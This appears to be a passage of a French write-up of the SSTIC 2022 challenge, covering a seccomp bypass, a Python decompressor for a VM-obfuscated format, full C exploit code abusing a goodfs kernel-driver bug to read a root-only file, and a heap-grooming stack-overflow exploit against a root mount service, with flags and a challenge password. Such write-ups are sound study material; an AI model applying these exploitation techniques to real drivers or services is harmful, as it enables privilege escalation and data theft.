On récupère le fichier m00n.txt
qui nous donne les indications pour la suite du challenge.
L'autre jour j'ai revu le petit film que nous avions tourné à l'époque avec
Neil Armstrong. C'est fou ce qu'on a réussi à faire à l'époque !
Quand je vois les effets spéciaux d'aujourd'hui, je me dis qu'on était vraiment
avant-gardistes...
PS : Nous avons bien avancé sur la sécurisation de notre serveur d'échange
d'informations. Le serveur FTP est opérationnel ainsi que notre module de
sécurité matériel.
TODO :
- Implémenter la décompression
- Utiliser un fichier moins sensible que home_backup.tar pour les tests de compression
- Intégrer le système de fichier "goodfs" au serveur FTP
SSTIC{f074370fa82189b5996228bb4a1df23d}
Obtenir une vraie exécution de code
Avant de passer aux étapes suivantes il serait intéressant d’exécuter du code autrement que en ROP. La règle seccomp sur le syscall mmap nous empêche de mapper une zone en RWX. Comme on peut le voir le paramètre (2) prot doit être inférieur ou égal à 5 pour que le syscall soit autorisé.
5 correspond à la combinaison des flags PROT_READ
et PROT_EXEC
ce qui nous laisse la possibilité de mapper un fichier dans une zone RX.
Il suffit d’écrire notre shellcode dans un fichier puis de mapper ce fichier avec mmap
pour sortir de l’exécution en ROP.
Niveau 4
Dans le dossier sensitive
on retrouve le fichier home_backup.tar
qui a été compressé par un algorithme propriétaire implémenté dans le binaire zz
.
La fonction de compression est obfusquée par une méthode nommée VM-Based Protection.
Par rétro-ingénierie on retrouve les instructions de la VM et le code qui effectue la logique de compression.
Les fonctions qui permettent d’écrire bit à bit dans le fichier de sortie ne sont pas obfusquées ce qui nous permet de débugger plus facilement le programme et ainsi deviner l’algorithme utilisé.
Le programme zz
compresse le fichier d’entrée par bloc de 0x10000 bytes ce qui produit une structure décrite ci-dessous :
- data_size indique le nombre d’octets à décompresser pour le champ data
- data est compressé en utilisant l’algorithme de Huffman10. Un structure précède le champ data et permet de reconstruire l’arbre pour l’algorithme de Huffman. Elle est constituée de :
- n : un nombre de symboles
- sx : un symbole sur 1 octet
- bx : le nombre de bits pour encoder le symbole
Les symboles sont insérés dans l’arbre par la gauche et par ordre de lecture. Sur le schéma ci-dessous,
- On commence par insérer le symbole A dans l’arbre qui est encodé sur 2 bits, on créer 1 noeud intermédiaire à gauche puis une feuille à gauche.
- Ensuite on insère le symbole C qui est encodé sur 2 bits, on commence à gauche, il y a déjà une feuille a gauche donc on créer une feuille à droite.
- Pour terminer on insère le symbole B encodé sur 1 bit, on commence à gauche mais il y’a déjà un noeud donc un ne peut pas y placer le symbole. On remonte a la racine et on créer une feuille à droite.
Ainsi on retrouve notre dictionnaire pour pouvoir décompresser le flux de bits :
- 00 => A
- 01 => C
- 1 => B
La chaine ACCBBC donnera le flux de bit suivant 00 01 01 1 1 01.
Cependant l’algorithme de zz
gère les répétitions de motifs avec 3 tableaux d’entiers supplémentaire :
- offsets : chaque entier de ce tableau désigne un offset de fin de motifs dans le champ data décompressé
- sizes : chaque entier de ce tableau indique une taille de motifs
- repeats : chaque entier de ce tableau indique un nombre de répétitions pour le motif
Prenons exemple avec un champ data qui vaut “ACDB” une fois décompressé, et les tableaux :
- offsets = [1,3]
- sizes = [1,1]
- repeats = [6,12]
On se décale à l’offset 1 dans la chaine data, on extrait le motif “A” et on le répète 6 fois. Ensuite on se décale à nouveau de 3, on extrait le motif “B” et on le répète 12 fois. Ce qui nous donne la chaine décompressée “AAAAAAACDBBBBBBBBBBBBB”.
Les tableaux sont eux-mêmes compressés avec l’algorithme de Huffman avec quelques petites particularités sur le format des dictionnaires. Le nombre de symboles n et les symboles sont encodés sur 5 bits.
Pour les tableaux offsets et repeats,il y a une petite particularité si le symbole décodé est supérieur à 15 alors :
- symbole - 12 : donne un nombre supplémentaire de bit à lire, extra_bits .
- (1 « extra_bits) + le nombre lu sur extra_bits bits donne l’entier final
Par exemple prenons le dictionnaire suivant :
- 0 => 18
Et le flux de bits suivants : 0001110, 0 correspond au symbole 18, il faut donc lire 18 - 12 = 6 bits supplémentaires ce qui nous donne :
- (1 « 6) + 0b001110 = 64 + 14 = 78
Pour le tableau size, les mêmes opérations sont nécessaires si le symbole décodé est supérieur à 1.
Le code suivant permet de décompresser un fichier compressé avec zz
:
#!/usr/bin/python3
import argparse
from pwn import *
from bitstring import ConstBitStream
import hexdump
def u24(data):
return u32(data + b"\x00")
class Node:
def __init__(self):
self.right = None
self.left = None
self.symbol = None
def __str__(self):
return "[%02.2x]" % (self.symbol)
def insert(node,symbol,nbits):
if node.symbol is None:
if nbits == 0:
node.symbol = symbol
return True
else:
searchNode = None
if node.left == None:
searchNode = Node()
node.left = searchNode
else:
searchNode = node.left
if not insert(searchNode,symbol,nbits - 1):
searchNode = None
if node.right == None:
searchNode = Node()
node.right = searchNode
else:
searchNode = node.right
return insert(searchNode,symbol,nbits - 1)
else:
return True
return False
def walk_tree(node,stream,bit_read=0):
if node.symbol is not None:
return (node.symbol,bit_read)
else:
bit = stream.read(1).uint
bit_read += 1
if bit == 0:
if node.left is not None:
return walk_tree(node.left,stream,bit_read)
else:
raise Exception("huffman exception")
else:
if node.right is not None:
return walk_tree(node.right,stream,bit_read)
else:
raise Exception("huffman exception")
def huffman_decode_bytes(huffman_tree,data,size):
bytes_list,bytes_read = huffman_decode_list(huffman_tree,data,size)
return (bytes(bytes_list),bytes_read)
def huffman_decode_list(huffman_tree,data,size):
result = []
bitstream = ConstBitStream(data)
bits_read = 0
for i in range(0,size):
c,bits = walk_tree(huffman_tree,bitstream)
result.append(c)
bits_read+=bits
bytes_read = int(bits_read / 8) + int( (bits_read % 8) != 0 )
return (result,bytes_read)
def huffman_decode_special(huffman_tree,data,size):
result = []
bitstream = ConstBitStream(data)
bits_read = 0
for i in range(0,size):
c,bits = walk_tree(huffman_tree,bitstream)
extra_bits = 0
if c > 15:
extra_bits = c - 0xC
if extra_bits > 0:
# print("read %d extra bits for symbol %d" % (extra_bits,c))
c = bitstream.read(extra_bits).uint + (1 << extra_bits)
result.append(c)
bits_read += bits + extra_bits
bytes_read = int(bits_read / 8) + int( (bits_read % 8) != 0 )
return (result,bytes_read)
def huffman_decode_special2(huffman_tree,data,size):
result = []
bitstream = ConstBitStream(data)
bits_read = 0
for i in range(0,size):
c,bits = walk_tree(huffman_tree,bitstream)
extra_bits = 0
if c > 1:
extra_bits = c - 1
if extra_bits > 0:
c = bitstream.read(extra_bits).uint + (1 << extra_bits)
result.append(c)
bits_read += bits + extra_bits
bytes_read = int(bits_read / 8) + int( (bits_read % 8) != 0 )
return (result,bytes_read)
def build_huffman_tree(data,encoded_size=8):
root = Node()
bits_read = 0
b = ConstBitStream(data)
nsymbols = b.read(encoded_size).uint
# print("nsymbols %d" % (nsymbols + 1))
bits_read+= encoded_size
for i in range(0,nsymbols+1):
symbol = b.read(encoded_size).uint
bitsize = b.read(4).uint + 1
# print("symbol: %02.2x, bits : %d" % (symbol,bitsize))
insert(root,symbol,bitsize)
bits_read += encoded_size + 4
bytes_read = int(bits_read / 8) + int( (bits_read % 8) != 0 )
return (root,bytes_read)
ENC_SIZE = 5
def decompress_flux(data):
uncompress_size = u24(data[0:3])
encoded_size = u24(data[3:6])
offset = 6
print("uncompress_size : %d" % uncompress_size)
print("encoded_size : %d" % encoded_size)
tree,seek = build_huffman_tree(data[offset:])
offset+= seek
chain,seek = huffman_decode_bytes(tree,data[offset:],uncompress_size)
offset+= seek
array_length = u24(data[offset:offset + 3])
print("size : %08.8x" % array_length)
offset+= 3
print("chain : %s" % chain[0:80])
tree,seek = build_huffman_tree(data[offset:],encoded_size=ENC_SIZE)
offset+=seek
sym_offset,seek = huffman_decode_special(tree,data[offset:],array_length)
offset+=seek
print(sym_offset)
tree,seek = build_huffman_tree(data[offset:],encoded_size=ENC_SIZE)
offset+=seek
sym_size,seek = huffman_decode_special2(tree,data[offset:],array_length)
offset+=seek
print(sym_size)
tree,seek = build_huffman_tree(data[offset:],encoded_size=ENC_SIZE)
offset+=seek
repeat,seek = huffman_decode_special(tree,data[offset:],array_length)
offset+=seek
print(repeat)
uncompressed = b""
curr = 0
for i in range(0,array_length):
repeated = chain[curr + sym_offset[i] - sym_size[i]:curr + sym_offset[i]]
if sym_size[i] != 0:
n = int(repeat[i] / sym_size[i])
uncompressed += chain[curr:curr + sym_offset[i]]
uncompressed += repeated * n
if (repeat[i] % sym_size[i])!=0:
uncompressed += repeated[0:repeat[i]%sym_size[i]]
else:
uncompressed += chain[curr:curr + sym_offset[i]]
curr+= sym_offset[i]
print("chain length : %d" % len(chain))
print("%d bytes decompressed" % len(uncompressed))
return uncompressed[0:0x10000]
def decompress(fin):
result = b""
header = fin.read(3)
while len(header) == 3:
length = u24(header)
flux = fin.read(length)
result += decompress_flux(flux)
header = fin.read(3)
return result
if __name__=='__main__':
parser = argparse.ArgumentParser(description='decompress zz file')
parser.add_argument('input',help='compressed file',type=str)
parser.add_argument('--output',help='output file',type=str)
args = parser.parse_args()
with open(args.input,"rb") as fin:
data = decompress(fin)
if args.output:
with open(args.output,"wb") as fout:
fout.write(data)
else:
print(data)
hexdump.hexdump(data)
Une fois home_backup.tar
décompressé on trouve :
Un article “““scientifique””” au format PDF,
une image de chien déguisé en homard et pas content …
Un .bash_history
contenant le mot de passe pour monter le système de fichiers goodfs
.
ls -la
whoami
id
cd /tmp
ls
mounter_client mount goodfs MGhtT34gHj5yFcszRYB4gf45DtymEi
cd /mnt/goodfs
ls
cd
cd
cd
exit
Ainsi qu’un fichier notes.txt
contenant le flag de l’étape 4.
J'ai lu le papier de FIORANELLI et effectivement nous avons
bien fait de le faire rétracter, un peu plus et il aurait été
pris au sérieux et aurait attiré l'attention du grand public...
De telles informations auraient pu réduire l'Organisation
à néant...
SSTIC{0ded220ffb9d4215b090ebb509e7a1ef}
Niveau 5
Maintenant que l’on a récupérer le mot de passe pour monter le système de fichiers goodfs
sur l’environnement distant on va se concentrer sur le driver goodfs.ko
.
Dans l’environnement local on peut monter le système de fichiers goodfs
avec le mot de passe goodfspassword
. Dans ce répertoire on trouve 2 dossiers :
- un dossier
public
accessible par l’utilisateur sstic, contenant un fichiertodo.txt
. - un dossier
private
accessible par l’utilisateur root, contenant un fichierplaceholder
.
$ mounter_client mount goodfs goodfspassword
mounter[45]: mount goodfs
$ cat /mnt/goodfs/public/todo.txt
J'ai été informé qu'il manque un mark_buffer_dirty quelque part dans mon code, mais où ?
$ cat /mnt/goodfs/private/placeholder
Mettre vos données sensibles dans ce dossier
Le fichier todo.txt
nous indique qu’il y’a probablement un bug dans le driver goodfs.ko
qui nous permettrait d’accéder au contenu du fichier placeholder
depuis l’utilisateur sstic.
Mais à quoi sert la fonction mark_buffer_dirty
?
Le système de cache
Les blocks devices sont des périphériques découpés par bloc généralement d’une page (4Kb). Les données lues depuis un block device sont mises en cache et éventuellement synchronisées sur le disque. Chaque bloc est associé à une structure buffer_head.
Le driver goodfs
utilise 3 API kernel importantes :
__bread_gfp
: cette fonction permet de lire un bloc block sur le device designé par bdev de taille size. Elle retourne un pointeur sur une structure de type buffer_head, le membre data permet d’accéder aux données du bloc.
struct buffer_head * __bread_gfp(struct block_device * bdev, sector_t block, unsigned size, gfp_t gfp);
brelse
: libère le bloc en cache, et éventuellement écrit les données sur le disque seulement si celui-ci a été marqué dirty
void brelse(struct buffer_head* bh);
mark_buffer_dirty
: permet de marquer le bloc dirty, à utiliser lorsqu’on modifie les données.
void mark_buffer_dirty(struct buffer_head * bh);
Structure du système de fichiers goodfs
Après rétro-ingénierie du driver on retrouve la structure du disque.
Le système de fichiers débute par un header de 0x80 octets, nommé goodfs_super_block
:
typedef struct _goodfs_super_block{
uint32_t magic; // 0x600D600D
uint32_t version; // fixé à 0
// imap est un masque de 252 bits qui permet de savoir si un bloc est libre
// (ex: si le bit 2 est set, alors le bloc 2 n'est pas libre)
imap goodfs_imap;
}goodfs_super_block;
Il est suivi d’un tableau de 252 inodes. Un inode est une structure qui contient les métadonnées d’un fichier ou d’un répertoire.
Sur le disque les inodes sont représentés par une structure goodfs_inode
, tandis qu’en mémoire le driver converti les inodes goodfs
en inodes Linux.
typedef struct _goodfs_inode{
kuid_t uid;
kuid_t gid;
uint64_t atime; // timestamp unix, dernière date que le fichier a été ouvert
uint64_t mtime; // timestamp unix, dernière date que le contenu a été modifié
uint16_t data_block; // indique le numéro de bloc contenant les données du fichiers
uint16_t mode; // contient les permissons et le type ( répertoire ou fichier )
uint32_t size;
}goodfs_inode;
Les répertoires sont représentés sous la forme d’un tableau de goodfs_dir_entry
:
typedef struct _goodfs_dir_entry{
uint32_t ino; // le numéro d'inode
char name[32]; // nom de fichier ou de répertoire fils
}goodfs_dir_entry;
Par exemple dans notre cas le répertoire racine est décrit par l’inode 0, son membre data_block
vaut 2. A l’offset 2*0x1000 du système de fichiers on trouve 2 goodfs_dir_entry
:
- ino: 1, name: private
- ino: 2, name: public
Ci-dessous un schéma résumant les structures sur disque:
Les vulnérabilités
Lorsque l’utilisateur créé un fichier, la fonction goodfs_create
s’occupe de trouver un bloc libre, créer l’inode associé au fichier et modifie le bitmask imap
.
Cependant le driver oublie de marquer le bloc contenant l'imap
comme dirty. Le driver marque tout de même l’inode comme dirty (avec _mark_inode_dirty), ce qui a pour effet de bord de marquer le bloc contenant l’inode comme dirty.
Si l’inode est situé sur le bloc #0, alors imap
est mis à jour lorsque le système de fichiers est démonté, mais si l’inode est sur le bloc #1 imap
n’est pas mis à jour.
Il y a une deuxième faiblesse dans la fonction goodfs_iget
qui permet de lire un inode du système de fichiers et le convertir en inode Linux.
Cette fonction est appelée notamment lorsqu’on liste un répertoire. Le numéro d’inode n’est pas contrôlé, on peut indexer un inode en dehors du tableau de 252 inodes.
Monter/Démonter le système de fichier
Le code de l’exploit au niveau 3 est exécuté avec les droits de l’utilisateur sstic, on ne peut pas monter le système de fichiers directement.
Pour rappel il existe un service mounter_server
qui est lancé avec l’utilisateur root et qui est chargé de monter/démonter le système de fichiers.
Après retro-ingénierie du client mounter_client
et du service, on retrouve le protocole de communication basé sur une mémoire partagée /run/mount_shm
. La structure commune est la suivante :
typedef struct _goodfs_cmd{
int ctrl;
char password[256];
char command[256];
char filesystem[256];
}goodfs_cmd_t;
Le service n’accepte que le système de fichiers “goodfs” et les commandes “mount” / “umount”. L’entier de contrôle ctrl
peut prendre trois valeures :
- 1 indique une commande en attente de traitement
- 2 la commande a été exécutée
- 3 le mot de passe est invalide
Exploitation
En exploitant la première vulnérabilité on peut écraser le contenu d’un répertoire, soit le tabeau de goodfs_dir_entry
, par le contenu d’un fichier.
En combinant ceci avec la deuxième faiblesse, on peut forger un goodfs_dir_entry
dont le champ ino
indexe un goodfs_inode
dans un bloc que l’on contrôle pleinement, par exemple celui de todo.txt
.
Les étapes sont donc les suivantes :
- on crée un
goodfs_inode
de type répertoire appartenant à l’utilisateur sstic et pointant sur le bloc #5 (bloc contentant les données du fichierplaceholder
). - on écrit cet inode au début du fichier
notes.txt
. Il peut être indexé avec unino
764. - on commence par remplir le système de fichiers avec 124 inodes, pour que le data block #0 ne soit plus marqué dirty.
Le driver met à jour récusivement le champ mtime
des répertoires lorsqu’une nouvelle entrée est créée. Ce qui a pour effet de bord de marqué dirty les inodes du bloc #0.
On peut s’en sortir avec l’appel système utime. Si l’on change la date de modification du répertoire par une date dans le futur, cela empêche le driver de mettre à jour le champ mtime
des répertoires parents.
Le bloc #0 n’est plus marqué dirty.
- on umount/mount le système de fichiers, les blocs #0 et #1 sont mis à jour sur le disque.
- on crée un fichier
spec0
, le système de fichiers réserve un bloc pour son contenu. - on umount le système de fichiers, la page cache du bloc #0 est libéré mais n’est pas écrite sur disque.
- on mount le système de fichiers.
- on ouvre notre fichier
spec0
car son inode va être remplacé par l’inode répertoire que l’on crée à l’étape suivante. - on crée un répertoire, le driver utilise le même data bloc pour stocker le contenu du répertoire et celui du fichier
spec0
. - on écrit dans le fichier
spec0
une structuregoodfs_dir_entry
avec un nomPWN0
et un numéro d’inode (ino
) 764. - on umount/mount le système de fichiers
Pour finir on peut lire le contenu du répertoire PWN0
puisque celui-ci nous appartient (d’après les métadonnées de l’inode 764).
L’appel système getdents64 permet de récupérer successivement les entrées d’un répertoire notamment leur numéro d’inode et leur nom.
On utilise cet appel système pour exfiltrer le contenu du data bloc #5, soit le contenu du fichier placeholder
.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/types.h>
#include <utime.h>
#include <time.h>
#include <stdint.h>
#include "generated.h"
typedef char* (*pFn_strcpy)(char* dst,char* src);
typedef void* (*pFn_memcpy)(void* dst,void* src,size_t size);
typedef int (*pFn_write)(int fd,const void* buffer,size_t size);
typedef int (*pFn_read)(int fd,void* buffer,size_t size);
typedef int (*pFn_open)(const char *pathname, int flags, int mode);
typedef int (*pFn_close)(int fd);
typedef int (*pFn_mkdir)(const char* pathname,int mode);
typedef void* (*pFn_mmap)(void *addr, size_t length, int prot, int flags,int fd, off_t offset);
typedef int (*pFn_munmap)(void *addr, size_t length);
typedef time_t (*pFn_time)(time_t *tloc);
typedef int (*pFn_utime)(const char *filename, const struct utimbuf *times);
typedef int (*pFn_getdents64)(int fd,void* dirp,size_t count);
typedef char* (*pFn_strcat)(char* dest,const char* src);
#define FD_SOCKET 5
void mymain();
void mount_goodfs(volatile char* memory);
void umount_goodfs(volatile char* memory);
void custom_strcpy(char* dst,char* src);
typedef struct _goodfs_inode {
uint32_t uid;
uint32_t gid;
uint64_t atime;
uint64_t mtime;
uint16_t data_block;
uint16_t mode;
uint32_t size;
}goodfs_inode;
typedef struct _goodfs_dir_entry {
uint32_t ino;
uint8_t name[32];
}goodfs_dir_entry;
void mymain()
{
pFn_strcpy my_strcpy = (pFn_strcpy)LIBC_STRCPY;
pFn_strcat my_strcat = (pFn_strcat)LIBC_STRCAT;
pFn_memcpy my_memcpy = (pFn_memcpy)LIBC_MEMCPY;
pFn_write my_write = (pFn_write)LIBC_WRITE;
pFn_read my_read = (pFn_read)LIBC_READ;
pFn_open my_open = (pFn_open)LIBC_OPEN;
pFn_close my_close = (pFn_close)LIBC_CLOSE;
pFn_mkdir my_mkdir = (pFn_mkdir)LIBC_MKDIR;
pFn_mmap my_mmap = (pFn_mmap)LIBC_MMAP;
pFn_munmap my_munmap = (pFn_munmap)LIBC_MUNMAP;
pFn_time my_time = (pFn_time)LIBC_TIME;
pFn_utime my_utime = (pFn_utime)LIBC_UTIME;
pFn_getdents64 my_getdents64 = (pFn_getdents64)LIBC_GETDENTS64;
char path[256] = {0};
int fd_shm = my_open("/run/mount_shm",2,0x1B6);
volatile char* memptr = my_mmap(0,0x1000,3,1,fd_shm,0);
char* array[] = {
"0","1","2","3","4","5","6","7","8","9",
"10","11","12","13","14","15","16","17","18","19",
"20","21","22","23","24","25","26","27","28","29","30"};
///////////////////////
// EXPLOIT
///////////////////////
mount_goodfs(memptr);
// char path[256] = {0};
// 30 inodes
for(int i = 0; i < 29; i++)
{
my_strcpy(path,"/mnt/goodfs/public/");
my_strcat(path,array[i]);
int fd = my_open(path,O_CREAT|O_RDWR,0);
my_close(fd);
}
my_mkdir("/mnt/goodfs/public/30",0777);
// 30 inodes
for(int i = 0; i < 29; i++)
{
my_strcpy(path,"/mnt/goodfs/public/30/");
my_strcat(path,array[i]);
int fd = my_open(path,O_CREAT|O_RDWR,0);
my_close(fd);
}
my_mkdir("/mnt/goodfs/public/30/30",0777);
// 30 inodes
for(int i = 0; i < 29; i++)
{
my_strcpy(path,"/mnt/goodfs/public/30/30/");
my_strcat(path,array[i]);
int fd = my_open(path,O_CREAT|O_RDWR,0);
my_close(fd);
}
my_mkdir("/mnt/goodfs/public/30/30/30",0777);
// 30 inodes
for(int i = 0; i < 29; i++)
{
int fd = my_open(path,O_CREAT|O_RDWR,0);
my_strcpy(path,"/mnt/goodfs/public/30/30/30/");
my_strcat(path,array[i]);
my_close(fd);
}
my_mkdir("/mnt/goodfs/public/30/30/30/30",0777);
int fd_todo = my_open("/mnt/goodfs/public/todo.txt",O_RDWR,0);
if(fd_todo < 0)
my_write(FD_SOCKET,"failed open todo.txt\n",20);
goodfs_inode inode[4] = {0};
for(int i = 0; i < 4; i++)
{
inode[i].uid = 1000;
inode[i].gid = 1000;
my_time(&inode[i].atime);
my_time(&inode[i].mtime);
inode[i].data_block = 5;
inode[i].mode = 0x41E4;
inode[i].size = 0;
}
my_write(fd_todo,&inode,sizeof(goodfs_inode) * 4);
my_close(fd_todo);
// mark directory in future
my_mkdir("/mnt/goodfs/public/30/30/30/30/special",0777);
struct utimbuf timbuf = {0};
my_time(&timbuf.actime);
my_time(&timbuf.modtime);
timbuf.actime += 60*30;
timbuf.modtime += 60*30;
my_utime("/mnt/goodfs/public/30/30/30/30/special",&timbuf);
//printf("utime : %d\n",);
umount_goodfs(memptr); // flush page to disk
mount_goodfs(memptr);
int fd_spec0 = my_open("/mnt/goodfs/public/30/30/30/30/special/spec0",O_CREAT|O_RDWR,0777);
my_write(fd_spec0,"AAAA",4);
my_close(fd_spec0);
umount_goodfs(memptr); // page is free
mount_goodfs(memptr);
fd_spec0 = my_open("/mnt/goodfs/public/30/30/30/30/special/spec0",O_RDWR,0);
my_mkdir("/mnt/goodfs/public/30/30/30/30/special/test",0777);
goodfs_dir_entry dentry[1] = {0};
for(int i = 0; i < 1; i++)
{
dentry[i].ino = 764 + i;
my_strcpy(path,"PWN");
my_strcat(path,array[i]);
my_strcpy(dentry[i].name,path);
}
my_write(fd_spec0,&dentry,sizeof(goodfs_dir_entry) * 1);
my_close(fd_spec0);
umount_goodfs(memptr);
mount_goodfs(memptr);
int directory = my_open("/mnt/goodfs/public/30/30/30/30/special/test/PWN0",O_RDONLY | O_DIRECTORY,0);
char result[0x400] = {0};
while(1)
{
char entry[256]= {0};
int res = my_getdents64(directory,entry,256);
my_strcat(result,entry);
my_strcat(result,&entry[0x10+3]);
if(res == 0)
break;
if(res == -1)
break;
}
my_write(FD_SOCKET,result,0x400);
my_close(directory);
my_munmap(memptr,0x1000);
///////////////////
// END EXPLOIT
////////////////////
my_close(fd_shm);
my_close(FD_SOCKET);
}
void mount_goodfs(volatile char* memory)
{
pFn_strcpy my_strcpy = (pFn_strcpy)LIBC_STRCPY;
my_strcpy(memory + 260,"mount");
my_strcpy(memory + 516,"goodfs");
my_strcpy(memory + 4,"MGhtT34gHj5yFcszRYB4gf45DtymEi");
memory[0] = 1;
while(memory[0] == 1){ }
}
void umount_goodfs(volatile char* memory)
{
pFn_strcpy my_strcpy = (pFn_strcpy)LIBC_STRCPY;
my_strcpy(memory + 260,"umount");
my_strcpy(memory + 516,"goodfs");
my_strcpy(memory + 4,"MGhtT34gHj5yFcszRYB4gf45DtymEi");
memory[0] = 1;
while(memory[0] == 1){ }
}
On retrouve ainsi le contenu du fameux fichier placeholder
:
re ami sur la lune s'est passée correctement, et tout le monde a été convaincu qu'il est décédé.
En cas de voyage sur place dans le futur, il faudra masquer sa présence par le biais d'effets spéciaux.
22/11/1963 :
Nos confrères reptiliens à la CIA ont exécuté le pla Je ne sais pas exactement comment, mais un hacker est parvenu a forger un inode pour lire ce fichier secret.
J'ai donc déplacé mes infort.
Il m'a dit pouvoir aussi accmounter_server, mais c'est impossible, ce service n'est pas vulnérable !
Je suis tellement confiant de cela que j'ai retiré toutes les mitigations de ce programme lors de sa compilation.
Il a forcément corrompu ce processus via l'exploitation de goodfs, mais comment ?
Il n'a pas souhaité me divulger plus de détails, à part qu'il aurait utilisé des inodes négatifs...
PS : C'est peut-être une mauvaise idée de parler de tout ça ici...
SSTIC{c96f1fa046e5e998e5ae511d9c846fcd}
Niveau 6
Selon les indications du contenu sensible de l’étape précédente, un hacker serait parvenu à exploiter mounter_server
par le biais du driver goodfs.ko
.
On confirme avec l’utilitaire checksec que le binaire n’a pas de mitigations :
$ checksec mounter_server
[*] '/mnt/hgfs/SSTIC2k22/Stage5/mounter_server'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
Les vulnérabilités
Dans le binaire la fonction syslog_command
est vulnérable à un buffer overflow. Les paramètres command
et filesystem
peuvent théoriquement faire 255 octets, ils sont recopiés dans un buffer de 192 octets.
On a donc un stack overflow assez basique au vu des mitigations du programme.
Cependant celui-ci n’est pas déclenchable directement, car les paramètres sont vérifiés avant l’appel de la fonction.
Il y a une faiblesse du programme dans le traitement des commandes. Le programme oublie de libérer la zone cmd
si le mot de passe est incorrect.
L’idée principale de l’exploit est de déclencher le buffer overflow en modifiant les champs command
et filesystem
après les vérifications effectuées par le programme.
Exploitation
La faiblesse de mounter_server
sur les allocations mémoire nous donne la possibilité de faire grandir la heap sur programme jusqu’à ce qu’on retrouve une page de heap juste avant celle contenant le goodfs_super_block
en cache.
Grâce à la première vulnérabilité décrite dans le niveau 5, nous sommes capables de forger des goodfs_dir_entry
avec des inodes négatifs.
- L’appel système
stat
permet de lire les métadonnées d’un fichier, et par conséquent faire fuiter les données de la page de heap par les champs de la structurestat
. - L’appel système
utime
nous donne aussi la possibilité de modifier les champsmtime
etatime
des inodes.
La fonction goodfs_write_inode
qui convertit un inode linux en goodfs_inode
est appelé au moment de l’appel à umount
dans mounter_server
. Cette fonction provoque une écriture dans la page de heap.
Par conséquent on peut modifier les champs command
et filesystem
après vérification et avant qu’ils soient logués par la fonction syslog_command
.
La primitive d’écriture est soumis cependant à quelques contraintes :
- les champs uid,gid doivent être à 1000 (uid de l’utilisateur sstic )
- le mode doit avoir au moins le bit W set
- les écritures se font par 16 octets et sur un multiple de 0x20 (taille de la structure
goodfs_inode
)
Avec 30 allocations on obtient la page de heap suivante :
Les inodes -83 et -75 permettent de modifier le début des champs command
et filesystem
.
Grâce à la “Stack View” d’IDA on sait qu’il faut envoyer 200 octets pour écraser le pointeur de fonction appelé à la fin de syslog_command
.
La fonction prend en paramètre l’adresse du buffer, un gadget 0x4016ed : jmp rdi suffit pour rediriger le flux d’exécution sur le début du buffer.
On place dans le champ mtime
de l’inode -83, 7 octets non null qui seront concaténés avec le caractère espace puis le champ filesystem
.
Dans le champ mtime
de l’inode -75, on met 8 octets non null pour continuer la chaine de caractère dans le champ filesystem
.
Les champs data_block
, mode
, et size
de l’inode doivent aussi être non null. Ensuite on a 184 octets consécutifs non null pour y placer notre shellcode.
Avec le shellcode on change le propriétaire du fichier /root/final_secret.txt
pour pouvoir le lire avec les droits sstic.
Nous avons enfin reçu une transmission de notre planète d'origine !
Cette ligne de transmission en cache plusieurs, afin qu'aucun humain ne puisse lire son contenu.
La domination du monde est à portée de main, hahahahaha !
HAhAhAhAHA !!
MOUHAAHAAAAHAHAHAHAAAAAAAAA !!!!!!
SSTIC{f29983c5d404138a9905aa920d273704}
kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkOkOkOkOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0O0O0O00000000000
[...]
Vous trouverez dans l’archive final.zip une version proprifiée de l’exploit pour récupérer le fichier de la dernière étape.
Niveau Bonus
La transmission récupérée à l’étape précédente ressemble fort à de l’ASCII art, on ouvre le fichier avec GIMP au format RAW. En jouant avec la largeur de l’image en mode indexé on obtient une adresse mail lisible :
Ainsi se conclut ma deuxième participation au challenge SSTIC après plusieurs semaines de travail acharné. Comme l’année dernière ce challenge m’aura permis d’approfondir mes connaissances dans le domaine de la sécurité informatique, du format Compound File au driver de système fichiers sous Linux. Pour terminer je souhaite remercier les concepteurs du challenge pour leur travail de qualité.
Références & Liens
- SSTIC : https://www.sstic.org/2022/news/
- Compound File Format : https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-CFB/%5bMS-CFB%5d.pdf
- HSM : https://en.wikipedia.org/wiki/Hardware_security_module
- RFC FTP : https://datatracker.ietf.org/doc/html/rfc959
- PIE : https://www.redhat.com/en/blog/position-independent-executables-pie
- ASLR : https://en.wikipedia.org/wiki/Address_space_layout_randomization
- Seccomp Man Page :https://man7.org/linux/man-pages/man2/seccomp.2.html
- Tcache exploitation :https://hackmd.io/@5Mo2wp7RQdCOYcqKeHl2mw/ByTHN47jf
- Heap exploitation : https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/
- Huffman coding :https://www.programiz.com/dsa/huffman-coding
- Page cache explained : https://cs4118.github.io/pantryfs/page-cache-overview.pdf
- Linux VFS and Block : https://devarea.com/wp-content/uploads/2017/10/Linux-VFS-and-Block.pdf